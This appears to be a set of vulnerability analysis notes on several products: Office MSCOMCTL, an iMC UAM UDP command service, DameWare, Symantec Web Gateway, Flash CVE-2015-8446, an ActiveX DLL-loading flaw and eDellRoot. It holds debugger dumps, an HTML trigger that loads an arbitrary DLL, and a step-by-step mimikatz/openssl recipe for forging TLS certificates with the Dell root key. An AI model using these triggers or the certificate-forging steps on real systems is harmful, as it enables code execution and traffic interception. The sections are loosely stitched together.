.text:10004BC8 ; int __cdecl sub_10004BC8(char *Format, char) .text:10004BC8 sub_10004BC8 proc near ; .text:10004BC8 ; .text:10004BC8 .text:10004BC8 lpWindowName = dword ptr -818h .text:10004BC8 hWnd = dword ptr -814h .text:10004BC8 lpClassName = dword ptr -810h .text:10004BC8 Args = dword ptr -80Ch .text:10004BC8 lpBaseAddress = dword ptr -808h .text:10004BC8 hFileMappingObject= dword ptr -804h .text:10004BC8 Dest = byte ptr -800h .text:10004BC8 Format = dword ptr 8 .text:10004BC8 arg_4 = byte ptr 0Ch .text:10004BC8 .text:10004BC8 push ebp .text:10004BC9 mov ebp, esp .text:10004BCB sub esp, 818h .text:10004BD1 mov [ebp+lpWindowName], offset aDebugScreen1 ; "Debug Screen1" .text:10004BDB mov [ebp+lpClassName], offset aDebugwclass1 ; "debugWClass1" .text:10004BE5 lea eax, [ebp+arg_4] .text:10004BE8 mov [ebp+Args], eax .text:10004BEE mov ecx, [ebp+Args] .text:10004BF4 push ecx ; Args .text:10004BF5 mov edx, [ebp+Format] .text:10004BF8 push edx ; Format .text:10004BF9 lea eax, [ebp+Dest] .text:10004BFF push eax ; Dest .text:10004C00 call ds:vsprintf ; overflow
The corresponding IDL is below:
[ uuid(5d2b62aa-ee0a-4a95-91ae-b064fdb471fc), version(1.0) ] interface target_interface { /* opcode: 0x01, address: 0x00401260 */ void sub_401260 ( [in] handle_t arg_1, [in] long arg_2, [in] long arg_3, [in] long arg_4, [in][ref][size_is(arg_4)] char * arg_5, [out][ref] long * arg_6 ); }
Technical Analysis
To trigger this:
- Open the poc with Microsoft Word 2003
- Close Microsoft Word, that’s when the crash is triggered.
0:000> r eax=056ef534 ebx=00000000 ecx=00000000 edx=02ac0007 esi=0571c18c edi=00000000 eip=2758fce3 esp=0012e348 ebp=0012e3f4 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210212 MSCOMCTL!DllGetClassObject+0x8f9f: 2758fce3 ff5108 call dword ptr [ecx+8] ds:0023:00000008=???????? 0:000> k ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong. 0012e3f4 650cd2e2 MSCOMCTL!DllGetClassObject+0x8f9f 0012e40c 650cd052 VBE6!rtcSendKeys+0x1d442 00000000 00000000 VBE6!rtcSendKeys+0x1d1b2 MSCOMCTL!DllGetClassObject+0x8f91: 2758fcd5 57 push edi 2758fcd6 8b7828 mov edi,dword ptr [eax+28h] 2758fcd9 8b481c mov ecx,dword ptr [eax+1Ch] 2758fcdc 895848 mov dword ptr [eax+48h],ebx 2758fcdf 83c01c add eax,1Ch 2758fce2 50 push eax 2758fce3 ff5108 call dword ptr [ecx+8] 0:000> dc eax 056faeb4 00000000 00000000 00000000 00000000 ................ 056faec4 31005c00 00000000 693f3800 44001029 .\.1.....8?i)..D 056faed4 4d55434f 00317e45 03004400 00000000 OCUME~1..D...... 056faee4 3c3f37be eb4118bd 000014a6 6f004400 .7?<..A......D.o 056faef4 75006300 65006d00 74006e00 20007300 .c.u.m.e.n.t.s. 056faf04 6e006100 20006400 65005300 74007400 .a.n.d. .S.e.t.t 056faf14 6e006900 73006700 18000000 00000000 .i.n.g.s........ 056faf24 00000000 00130010 010c017a 0018e920 ........z... ...
Note:
This crash is different than CVE-2012-0158, despite the fact they both target the same component.
CVE-0158 is due to a memcpy call, and then retn to the user-controlled stack. However, this PoC
leverages from a CALL [ECX+8] call.
- Using samples provided by nex
071cb2398e5b6ad9e965c4191443227166861129eb4aca6fc1fc647b85eb91d6
Office 2003 crash:
0:004> sxe ld mscomctl 0:004> g ModLoad: 27580000 27685000 C:\WINDOWS\system32\MSCOMCTL.OCX eax=00000000 ebx=00000000 ecx=02bd0000 edx=7c90e4f4 esi=00000000 edi=00000000 eip=7c90e4f4 esp=0011fe58 ebp=0011ff4c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ntdll!KiFastSystemCallRet: 7c90e4f4 c3 ret 0:000> u 2758fce3 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\MSCOMCTL.OCX - MSCOMCTL!DllGetClassObject+0x8f9f: 2758fce3 ff5108 call dword ptr [ecx+8] 2758fce6 3bfb cmp edi,ebx 2758fce8 8bc7 mov eax,edi 2758fcea 75ea jne MSCOMCTL!DllGetClassObject+0x8f92 (2758fcd6) 2758fcec 5f pop edi 2758fced ebd1 jmp MSCOMCTL!DllGetClassObject+0x8f7c (2758fcc0) 2758fcef 56 push esi 2758fcf0 57 push edi 0:000> bp 2758fce3 0:000> g Breakpoint 0 hit eax=01d028a4 ebx=00000000 ecx=2759e3e8 edx=fffffd37 esi=00211ca4 edi=00000000 eip=2758fce3 esp=001213f8 ebp=00121434 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 MSCOMCTL!DllGetClassObject+0x8f9f: 2758fce3 ff5108 call dword ptr [ecx+8] ds:0023:2759e3f0=a0255827
Another crash, with interesting stack??
0:000> kb ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 00125fb8 30e5982d 01ee0010 3144c8a5 01ee0070 mso!Ordinal2669+0x5f 00125fe0 31443f75 01ee0070 00010000 001260d0 mso!Ordinal2669+0x18 00126000 311a5a49 01ee0010 001260d0 012d0920 mso!Ordinal530+0x352 00126020 311a5f47 001260d0 01c0687c 012d075c mso!Ordinal2690+0x1ac 0012603c 306063d0 012d0920 001260d0 30161ba0 mso!Ordinal2690+0x6aa 00126058 30161a59 001260b0 00000000 00000000 WINWORD!wdCommandDispatch+0x1d695 0012608c 30609242 001260b0 000000d2 00a20394 WINWORD+0x161a59 001261b0 7c80ae80 30c90000 00000000 30c90000 WINWORD!wdCommandDispatch+0x20507 0012622c 7c80ae6e 00126254 7c80ae80 30c90000 kernel32!GetProcAddress+0x5b 00126254 00126244 30c90000 0012f904 30ed90c6 kernel32!GetProcAddress+0x43 0012626c 30e59897 30e5982d 00a20178 30e5979a 0x126244 <==== 00126270 30e5982d 00a20178 30e5979a 00a353a4 mso!Ordinal2669+0x82 00126278 30e5979a 00a353a4 000000d8 300d9800 mso!Ordinal2669+0x18 00126294 3018c671 00000001 000000d8 000000c8 mso!Ordinal2402+0x13 001262ac 3060295c 00000000 00000003 00a20178 WINWORD+0x18c671 001262d4 3060958f 30609596 00126308 00000000 WINWORD!wdCommandDispatch+0x19c21 00126338 304c7d41 01c05c78 00000001 00000000 WINWORD!wdCommandDispatch+0x20854 00126354 3003caf0 00000003 00000001 00000001 WINWORD+0x4c7d41 00000000 00000000 00000000 00000000 00000000 WINWORD+0x3caf0
Office 2007 crash
Microsoft (R) Windows Debugger Version 6.2.8400.0 X86 Copyright (c) Microsoft Corporation. All rights reserved. *** wait with pending attach Symbol search path is: *** Invalid *** **************************************************************************** * Symbol loading may be unreliable without a symbol search path. * * Use .symfix to have the debugger choose a symbol path. * * After setting your symbol path, use .reload to refresh symbol locations. * **************************************************************************** Executable search path is: ModLoad: 30000000 30057000 C:\Program Files\Microsoft Office\Office12\WINWORD.EXE ModLoad: 7c900000 7c9af000 C:\WINDOWS\system32\ntdll.dll ModLoad: 7c800000 7c8f6000 C:\WINDOWS\system32\kernel32.dll ModLoad: 78130000 781cb000 C:\WINDOWS\WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.42_x-ww_0de06acd\MSVCR80.dll ModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.dll ModLoad: 31240000 322ec000 C:\Program Files\Microsoft Office\Office12\wwlib.dll ModLoad: 77dd0000 77e6b000 C:\WINDOWS\system32\ADVAPI32.dll ModLoad: 77e70000 77f02000 C:\WINDOWS\system32\RPCRT4.dll ModLoad: 77fe0000 77ff1000 C:\WINDOWS\system32\Secur32.dll ModLoad: 77f10000 77f59000 C:\WINDOWS\system32\GDI32.dll ModLoad: 7e410000 7e4a1000 C:\WINDOWS\system32\USER32.dll ModLoad: 774e0000 7761d000 C:\WINDOWS\system32\ole32.dll ModLoad: 3a9d0000 3b750000 C:\Program Files\Microsoft Office\Office12\oart.dll ModLoad: 32600000 33618000 C:\Program Files\Common Files\Microsoft Shared\office12\mso.dll ModLoad: 3fde0000 40221000 C:\WINDOWS\system32\msi.dll ModLoad: 33d00000 33dd7000 C:\Program Files\Microsoft Office\Office12\1033\wwintl.dll ModLoad: 773d0000 774d3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\Comctl32.dll ModLoad: 77f60000 77fd6000 C:\WINDOWS\system32\SHLWAPI.dll ModLoad: 74720000 7476c000 C:\WINDOWS\system32\MSCTF.dll ModLoad: 00cc0000 01314000 C:\Program Files\Common Files\Microsoft Shared\OFFICE12\MSORES.DLL ModLoad: 6bdc0000 6be7a000 C:\Program Files\Common Files\Microsoft Shared\OFFICE12\MSPTLS.DLL ModLoad: 7c9c0000 7d1d7000 C:\WINDOWS\system32\SHELL32.DLL ModLoad: 5d090000 5d12a000 C:\WINDOWS\system32\comctl32.dll ModLoad: 01bf0000 025cd000 C:\Program Files\Common Files\Microsoft Shared\office12\1033\MSOINTL.DLL ModLoad: 79000000 7904a000 C:\WINDOWS\system32\mscoree.dll ModLoad: 603b0000 60416000 C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll ModLoad: 77c00000 77c08000 C:\WINDOWS\system32\VERSION.DLL ModLoad: 73000000 73026000 C:\WINDOWS\system32\Winspool.DRV ModLoad: 7e660000 7e715000 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\PS5UI.DLL ModLoad: 77120000 771ab000 C:\WINDOWS\system32\OLEAUT32.dll ModLoad: 5ad70000 5ada8000 C:\WINDOWS\system32\UxTheme.DLL ModLoad: 3a780000 3a889000 C:\Program Files\Common Files\Microsoft Shared\office12\riched20.dll ModLoad: 76fd0000 7704f000 C:\WINDOWS\system32\CLBCATQ.DLL ModLoad: 77050000 77115000 C:\WINDOWS\system32\COMRes.dll ModLoad: 78800000 7895c000 C:\Program Files\Common Files\Microsoft Shared\OFFICE11\msxml5.dll ModLoad: 77920000 77a13000 C:\WINDOWS\system32\SETUPAPI.dll ModLoad: 02dd0000 03095000 C:\WINDOWS\system32\xpsp2res.dll ModLoad: 3bd10000 3bea5000 C:\Program Files\Common Files\Microsoft Shared\OFFICE12\OGL.DLL ModLoad: 76f50000 76f58000 C:\WINDOWS\system32\WTSAPI32.DLL ModLoad: 76360000 76370000 C:\WINDOWS\system32\WINSTA.dll ModLoad: 5b860000 5b8b5000 C:\WINDOWS\system32\NETAPI32.dll ModLoad: 73ba0000 73bb3000 C:\WINDOWS\system32\sti.dll ModLoad: 74ae0000 74ae7000 C:\WINDOWS\system32\CFGMGR32.dll ModLoad: 7e1e0000 7e282000 C:\WINDOWS\system32\urlmon.dll ModLoad: 6bd10000 6bd24000 C:\Program Files\Microsoft Office\Office12\MSOHEV.DLL ModLoad: 40390000 40446000 C:\Program Files\Microsoft Office\Office12\msproof6.dll ModLoad: 7c420000 7c4a7000 C:\WINDOWS\WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.42_x-ww_0de06acd\MSVCP80.dll ModLoad: 7e720000 7e7d0000 C:\WINDOWS\system32\SXS.DLL (a7c.b3c): Break instruction exception - code 80000003 (first chance) *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\ntdll.dll - eax=7ffd9000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005 eip=7c90120e esp=03f3ffcc ebp=03f3fff4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 ntdll!DbgBreakPoint: 7c90120e cc int 3 0:007> g ModLoad: 77b40000 77b62000 C:\WINDOWS\system32\appHelp.dll ModLoad: 77a20000 77a74000 C:\WINDOWS\System32\cscui.dll ModLoad: 76600000 7661d000 C:\WINDOWS\System32\CSCDLL.dll ModLoad: 75f80000 7607d000 C:\WINDOWS\system32\browseui.dll ModLoad: 76990000 769b5000 C:\WINDOWS\system32\ntshrui.dll ModLoad: 76b20000 76b31000 C:\WINDOWS\system32\ATL.DLL ModLoad: 769c0000 76a74000 C:\WINDOWS\system32\USERENV.dll ModLoad: 7e290000 7e401000 C:\WINDOWS\system32\SHDOCVW.dll ModLoad: 77a80000 77b15000 C:\WINDOWS\system32\CRYPT32.dll ModLoad: 77b20000 77b32000 C:\WINDOWS\system32\MSASN1.dll ModLoad: 754d0000 75550000 C:\WINDOWS\system32\CRYPTUI.dll ModLoad: 771b0000 7725a000 C:\WINDOWS\system32\WININET.dll ModLoad: 76c30000 76c5e000 C:\WINDOWS\system32\WINTRUST.dll ModLoad: 76c90000 76cb8000 C:\WINDOWS\system32\IMAGEHLP.dll ModLoad: 76f60000 76f8c000 C:\WINDOWS\system32\WLDAP32.dll ModLoad: 76980000 76988000 C:\WINDOWS\system32\LINKINFO.dll ModLoad: 27580000 27685000 C:\WINDOWS\system32\MSCOMCTL.OCX ModLoad: 763b0000 763f9000 C:\WINDOWS\system32\comdlg32.dll ModLoad: 10000000 1001f000 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll ModLoad: 10000000 1001f000 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll ModLoad: 10000000 1001f000 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll ModLoad: 10000000 1001f000 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll ModLoad: 10000000 1001f000 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll ModLoad: 10000000 1001f000 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll ModLoad: 10000000 1001f000 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll ModLoad: 10000000 1001f000 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll ModLoad: 10000000 1001f000 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll ModLoad: 10000000 1001f000 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll ModLoad: 10000000 1001f000 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll ModLoad: 10000000 1001f000 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll ModLoad: 10000000 1001f000 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll ModLoad: 10000000 1001f000 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll ModLoad: 10000000 1001f000 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll ModLoad: 10000000 1001f000 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll ModLoad: 10000000 1001f000 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll ModLoad: 10000000 1001f000 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll ModLoad: 10000000 1001f000 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll ModLoad: 42640000 426c7000 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\PSCRIPT5.DLL ModLoad: 73b30000 73b45000 C:\WINDOWS\system32\mscms.dll ModLoad: 10000000 1001f000 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll ModLoad: 10000000 1001f000 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll ModLoad: 10000000 1001f000 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll (a7c.df4): Unknown exception - code e0000002 (first chance) ModLoad: 65000000 65278000 C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL ModLoad: 65300000 65326000 C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\1033\VBE6INTL.DLL (a7c.df4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\MSCOMCTL.OCX - *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Microsoft Office\Office12\wwlib.dll - eax=001d2d9c ebx=00000000 ecx=000000c4 edx=0237000d esi=0015e484 edi=00000118 eip=2758fce3 esp=00121d10 ebp=00121d64 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 MSCOMCTL!DllGetClassObject+0x8f9f: 2758fce3 ff5108 call dword ptr [ecx+8] ds:0023:000000cc=???????? 0:000> dd ecx 000000c4 ???????? ???????? ???????? ???????? 000000d4 ???????? ???????? ???????? ???????? 000000e4 ???????? ???????? ???????? ???????? 000000f4 ???????? ???????? ???????? ???????? 00000104 ???????? ???????? ???????? ???????? 00000114 ???????? ???????? ???????? ???????? 00000124 ???????? ???????? ???????? ???????? 00000134 ???????? ???????? ???????? ????????
Technical Analysis
–|
UDP 1810 = UAM background port for listening to commands from the foreground
0042E597 . FF15 5C015800 CALL DWORD PTR DS:[<&WS2_32.#2>] ; \bind
Each recvfrom() receives a max of 4132 bytes
0042E6A8 . 52 PUSH EDX ; /pFromLen
0042E6A9 . 50 PUSH EAX ; |pFrom
0042E6AA . 53 PUSH EBX ; |Flags
0042E6AB . 8D8C24 BC7B000>LEA ECX,DWORD PTR SS:[ESP+7BBC] ; |
0042E6B2 . 68 24100000 PUSH 1024 ; |BufSize = 1024 (4132.)
0042E6B7 . 51 PUSH ECX ; |Buffer
0042E6B8 . 57 PUSH EDI ; |Socket
0042E6B9 . C78424 0C01000>MOV DWORD PTR SS:[ESP+10C],10 ; |
0042E6C4 . FF15 6C015800 CALL DWORD PTR DS:[<&WS2_32.#17>] ; \recvfrom
After the packet is received, it begins to check the packet size:
0042E6F8 > 81FE 00100000 CMP ESI,1000 ;If larger than 0x1000, bounce
0042E6FE . 0F8F E12F0000 JG uam.004316E5
0042E704 . 83FE 14 CMP ESI,14 ;If less than 0x14, bounce
After the packet gets past the size checks, it checks for a "Command ID":
0042E850 . 817D 00 213D10>CMP DWORD PTR SS:[EBP],F7103D21
When the "Command ID" matches, it begins checking the "Command Type":
0042E85F . E8 D42BFDFF CALL uam.00401438 ; Extract command type
The following "Command Types" are available:
0x101 = Echo request (See 0x0042E88B)
0x102 = Echo reply (See 0x0042E899)
0x201 = Restart command (See 0x0042E87A)
0x202 = Stop command (See 0x0042E95D)
0x303 = get user offline command (See 0x0042E9D6)
0x401 = Re-configure plat request (See 0x0042E9E1)
0x501 = get pause resume command (See 0x0042E9C5)
0x601 = user payment command (See 0x00431563)
Some settings related to logging that can trigger different code paths (ead.TBL_PARAMETE):
1020 PUB_LOG_STORE_TIME 1 30 Days 1 365 Log Lifetime
1310 ENABLE_AUTH_FAIL_SYSLOG 1 0 NULL 0 1 If enable sending the syslog of authentication failed
1311 ENABLE_SAFELOG_SYSLOG 1 0 NULL 0 1 If enable sending the syslog of safelog
1312 SYSLOG_SERVER_IP 2 NULL 0 4294967295 syslog server IP
2060 EAD_LOG_ATT_SUCCEED 1 0 NULL 0 1 If Log Successful Authentication(1-Yes;0-No)
2070 EAD_LOG_CLEAN_VIRUS 1 1 NULL 0 1 If Log Virus Cleanup on Client(1-Yes;0-No)
2170 EAD_LOG_LEVEL 1 3 NULL 0 4 Policy Server Log Level
3000 EAD_REPORT_SAFE_LOG 1 1 NULL 0 1 If the safe log is reported , 1: yes , 0: no
3020 PUB_LOG_LEVEL 1 2 NULL 0 4 Log Level
3030 PUB_LOG_PATH 3 C:\Program Files\iMC\uam\log NULL NULL NULL Log File Path
3040 PUB_LOG_RESERVE_TIME 1 30 Days 1 365 Log And Backup File Lifetime
3100 PORTAL_SERVER_LOG_LEVEL 1 3 NULL 1 6 Portal Log Level
3110 PORTAL_SERVER_LOG_PATH 3 C:\Program Files\iMC\portal\logs\ NULL NULL NULL Portal Log File Path
3140 PORTAL_LOG_LIST_LENGTH 1 1000 NULL 1 65535 Portal Log Queue Length
3170 PUB_AUTH_FAIL_LOG_TIME 1 90 day 1 365 Auth Fail Log reserve Time
3320 PUB_ENDUSER_MODIFY_PASSWD_LIMIT 0 0 NULL 0 1 Allow User Login(1-YES;0-NO)
4053 SSV_TOP_LOGO 3 login_3com.gif NULL NULL NULL the top image name in the first page of SSV
4054 SSV_BOTTOM_LOGO 3 3com_about.gif NULL NULL NULL the bottom image name in the first page of SSV
4055 SSV_ABOUT_LOGO 3 logo_top_3com.gif NULL NULL NULL the top logo name in the page after a user logging in
7008 MSCHAPV2_LOG_LEVEL 3 3 NULL NULL NULL MSChapV2 log level
An example of how to update a setting:
UPDATE [ead].[ead].[TBL_PARAMETER] SET VALUE=5 where PARAMETER_NAME=‘PUB_LOG_LEVEL’
”`
Technical Analysis
Version analyzed: DameWare Support Control 10.0.0.372
Vulnerability is due to the insecure usage of fgetws
””
.text:0040D6AA push edi ; FILE *
.text:0040D6AB lea ecx, [esp+2234h+var_2010]
.text:0040D6B2 push 1FF0h ; int
.text:0040D6B7 push ecx ; wchar_t *
.text:0040D6B8 call _fgetws ; bof here!
Later also in a loop:
while ( fgetws(&v20, 8176, v3) );
Unfortunately, no success searching for valid UNICODE pointers for ppr:
!py mona seh -all , manual exam of the results, any UNICODE compliant pointer :
”`
Vulnerable function is protected by stack cookies.
Technical Analysis
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations
of Symantec Web Gateway. Authentication is not required to exploit this vulnerability.
The specific flaw exists because Symantec Web Gateway allows unauthenticated users to upload a file
while preserving the file extension. This allows users to upload additional script files that can
be used to execute remote code from user supplied commands under the context of the webserver.
Details
blocked_file
<?php include_once("config/conf.php"); include_once("config/db.php"); include_once("includes/util_functions.php"); if (isset($_POST['submitted'])) { $updated = true; unescape_form_vals(); // remove slashes form values as we are displaying only $new_image = $_FILES['new_image']; $before_filename = $_POST['before_filename']; $after_filename = $_POST['after_filename']; $image_query = "select value from mi5_blockpagemsg where name='image_name'"; $image_result = @mysql_query($image_query); $image_row = @mysql_fetch_assoc($image_result); $old_image_name = $image_row['value']; @mysql_free_result($image_result); $image_name = $old_image_name; $image_url = $upload_image_url . "/". $image_name; if ($new_image['error'] == UPLOAD_ERR_OK && $new_image['size'] > 0) // file is uploaded { $return_arr = upload_file($new_image, $upload_image_path_temp, "temp"); if ($return_arr['uploaded']) { $image_name = $return_arr['new_file_name']; $image_url = $upload_image_url_temp . "/". $image_name; } } } ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Blocked File Download</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <link rel="stylesheet" href="styles/mi5.css" /> </head> <body> <div id="mainContent"> <div id="mainText"> <?php if ($image_name == '') { $image_url = "images/mi5.gif"; } ?> <img src="<?php echo $image_url . "?t=".time(); ?>" alt="Symantec Defense Centre" style="border: 1px solid #ddd;" /> <hr noshade="noshade" size="1" style="margin-bottom: 10px;" /> <table><tr><!--<td valign="top" style="width: 120px;"> <p><a href="javascript:history.go(-1);">« Previous Page</a></p> </td>--> <td style="padding-left: 15px; border-left: 1px solid #999;"> <h3>Symantec Enterprise Spygate</h3> <h1>Downloading this file is prohibited</h1> <p><?php echo $before_filename; ?> %%File%%<?php echo $after_filename; ?></p> <p>If you think this spyware detection was in error, please click here.</p> </td></tr></table> </div> <div class="copyright">© Copyright 2004-2006, Symantec</div> </div> </body> </html>
blocked_url
<?php include_once("config/conf.php"); include_once("config/db.php"); include_once("includes/util_functions.php"); if (isset($_POST['submitted'])) { $updated = true; unescape_form_vals(); // remove slashes form values as we are displaying only $new_image = $_FILES['new_image']; $before_url = $_POST['before_url']; $after_url = $_POST['after_url']; $image_query = "select value from mi5_blockpagemsg where name='image_name'"; $image_result = @mysql_query($image_query); $image_row = @mysql_fetch_assoc($image_result); $old_image_name = $image_row['value']; @mysql_free_result($image_result); $image_name = $old_image_name; $image_url = $upload_image_url . "/". $image_name; if ($new_image['error'] == UPLOAD_ERR_OK && $new_image['size'] > 0) // file is uploaded { $return_arr = upload_file($new_image, $upload_image_path_temp, "temp"); if ($return_arr['uploaded']) { $image_name = $return_arr['new_file_name']; $image_url = $upload_image_url_temp . "/". $image_name; } } } ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Blocked URL</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <link rel="stylesheet" href="styles/mi5.css" /> </head> <body> <div id="mainContent"> <div id="mainText"> <?php if ($image_name == '') { $image_url = "images/mi5.gif"; } ?> <img src="<?php echo $image_url . "?t=".time(); ?>" alt="Symantec Defense Centre" style="border: 1px solid #ddd;" /> <hr noshade="noshade" size="1" style="margin-bottom: 10px;" /> <table><tr><!--<td valign="top" style="width: 120px;"> <p><a href="javascript:history.go(-1);">« Previous Page</a></p> </td>--> <td style="padding-left: 15px; border-left: 1px solid #999;"> <h3>Symantec Enterprise Spygate</h3> <h1>Accessing web pages from this URL is prohibited</h1> <p><?php echo $before_url; ?> %%URL%%<?php echo $after_url; ?></p> <p>If you think this spyware detection was in error, please click here.</p> </td></tr></table> </div> <div class="copyright">© Copyright 2004-2006, Symantec</div> </div> </body> </html>
Technical Analysis
Details
This is a vulnerability in Adobe Flash. It is due to an incomplete patch of CVE-2015-5560. The decode_buffer_size is calculated this way in Flash:
decode_buffer_size = (encode_data_size – 1) * 6 + 2
In asm:
.text:10024F13 loc_10024F13: ; CODE XREF: sub_10024C79+278j .text:10024F13 mov eax, ebx .text:10024F15 imul eax, 6 .text:10024F18 add eax, 2 .text:10024F1B cmp [esi+28h], eax .text:10024F1E mov [ebp+var_20], eax .text:10024F21 jge short loc_10024F4D
During decoding, the buffer can be reallocated:
int current_buffer_size int decoded_buffer_size if (current_buffer_size < decoded_buffer_size) { // reallocate the decode buffer }
If the encode_data_size is larger than 0x2aaaaaab, it will cause an integer overflow in the
calculation of (encode_data_size –1) * 6 + 2
Patch for CVE-2015-5560
Version 18.0.0.232:
.text:10024E3E mov eax, [ebp+var_14] .text:10024E41 imul eax, 6 .text:10024E44 inc eax .text:10024E45 inc eax .text:10024E46 cmp eax, [ebp+var_14] .text:10024E49 jbe loc_10024FB8
(encode_data_size * 6 + 2) > encode_data_size
Analysis of CVE-2015-8446
If the patch is bypassed, we have CVE-2015-8446.
If encode_data_size
is 0x15555580:
(0x15555580 – 1) * 6 + 2 = 0x800000FC
Which is less than 0.
And then that can cause an overflow.
ByteArray Length Protection
Adobe introduced the ByteArray Length Protection in December, which would make exploitation
difficult against newer versions of Adobe Flash.
It is likely the exploit in the wild exploited an older version of Adobe Flash (this needs to be
confirmed).
Technical Analysis
The specific flaw exists within the ISProxy.dll ActiveX object. The ISCreateObject() method suffers from a directory vulnerability and it is also possible to break the search path through a null char. By combining the Initialize() and ISCreateObject() methods, an attacker can force the underlying operating system to load arbitrary dlls bypassing normal security restriction. This vulnerability allows an attacker to execute code under the context of the process.
(1) Legit Code Samples
var file = new ActiveXObject("ISProxy.Proxy"); file.ISCreateObject(document, "isutil.dll", "{A5CF09AF-F2FC-4E5D-9F7D-419D28130E62}"); var objMgr = new ActiveXObject("ISProxy.Proxy"); objMgr.ISCreateObject(document, "isobjmgr.dll", "{DE5FBA5D-8AB0-4a53-B620-F2065702D228}");
Vulnerable code
Form ISProxy.dll
.text:63371561 push eax ; lpPathName => C:\Documents and Settings\system .text:63371562 call esi ; SetCurrentDirectoryA .text:63371564 lea ecx, [ebp+var_38] .text:63371567 mov byte ptr [ebp+var_4], 2 .text:6337156B call sub_6337186D .text:63371570 lea ecx, [ebp+var_68] .text:63371573 call sub_63372927 .text:63371578 push eax ; lpLibFileName => Controlled from the second arg .text:63371579 call ds:LoadLibraryA .text:6337157F mov edi, eax .text:63371581 lea eax, [ebp+PathName] .text:63371587 push eax ; lpPathName .text:63371588 call esi ; SetCurrentDirectoryA
Trigger
The next HTML will try to load c:\test.dll
<html> <object classid='clsid:A1000F0F-9C12-4AB3-B195-02BE93328283' id='test'></object> <script language='javascript'> test.Initialize(document); test.ISCreateObject(document, "..\\..\\test.dll", "A1000F0F-9C12-4AB3-B195-02BE93328283"); </script> </html>
So the vulnerability, as explained by the ZDI advisory allows to load an arbitrary DLL from the underliying OS, but I dont see how to load it from an arbitrary remote location.
So in order to achieve remote code execution you need to plant a DLL previously in the targeted file system.
Technical Analysis
Details
How to exploit:
- Export the DER CA certificate (through the windows certificate manager for example).
- Covert DER CA certificate to PEM
openssl x509 -in der_edell_root.cer -inform der -outform pem -out edell_root.pem
- Export the certificate private key, use mimikatz
crypto::certificates /systemstore:local_machine /store:Root /export
The certificate (again) and its private key will be in the directory where mimikatz lives. The private key is inside the .pfx
- Extract the key from the pfx and save as pem (password: mimikatz)
openssl pkcs12 -in local_machine_Root_3_eDellRoot.pfx -nocerts -out key.pem -nodes
Save the file.srl with “6C”
Create a server certificate request
openssl genrsa -out server.key 1024 openssl req -key server.key -new -out server.req
Use the CA certificate and its private key to generate the server certificate:
openssl x509 -req -in server.req -CA edell_root.pem -CAkey key.pem -CAserial file.srl -out server.pem
profit!
